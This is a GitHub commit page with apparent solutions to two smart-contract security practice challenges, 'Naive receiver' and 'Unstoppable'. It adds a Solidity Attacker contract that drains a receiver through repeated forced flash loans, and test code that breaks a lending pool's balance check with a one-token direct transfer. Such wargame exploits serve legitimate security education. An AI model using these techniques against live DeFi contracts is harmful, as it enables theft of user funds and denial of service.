Skip to content

Commit

Permalink
[Solved] - Challenges #1 and theredguild#2
Browse files Browse the repository at this point in the history
  • Loading branch information
smol-ninja committed Aug 23, 2022
1 parent 3e2a367 commit 0ddd923
Show file tree
Hide file tree
Showing 3 changed files with 29 additions and 1 deletion.
22 changes: 22 additions & 0 deletions contracts/naive-receiver/Attacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface INaiveReceiverLenderPool {
function flashLoan(address borrower, uint256 borrowAmount) external;
function fixedFee() external pure returns (uint256);
}

contract Attacker {
INaiveReceiverLenderPool private pool;

constructor(address _pool) {
pool = INaiveReceiverLenderPool(_pool);
}

function drainReceiver(address _receiver) public {
uint8 times = uint8(_receiver.balance / pool.fixedFee());
for (uint8 i = 0; i < times; i++) {
pool.flashLoan(_receiver, address(pool).balance);
}
}
}
6 changes: 5 additions & 1 deletion test/naive-receiver/naive-receiver.challenge.js
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,11 @@ describe('[Challenge] Naive receiver', function () {
});

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
/** CODE YOUR EXPLOIT HERE */
const AttackerFactory = await ethers.getContractFactory('Attacker', attacker);
this.attackerContract = await AttackerFactory.deploy(this.pool.address);

await this.attackerContract.connect(attacker).drainReceiver(this.receiver.address);
});

after(async function () {
Expand Down
2 changes: 2 additions & 0 deletions test/unstoppable/unstoppable.challenge.js
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,8 @@ describe('[Challenge] Unstoppable', function () {

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.connect(attacker).transfer(this.pool.address, 1)
expect(this.pool.poolBalance()).to.be.not.equal(this.token.balanceOf(this.pool.address));
});

after(async function () {
Expand Down

0 comments on commit 0ddd923

Please sign in to comment.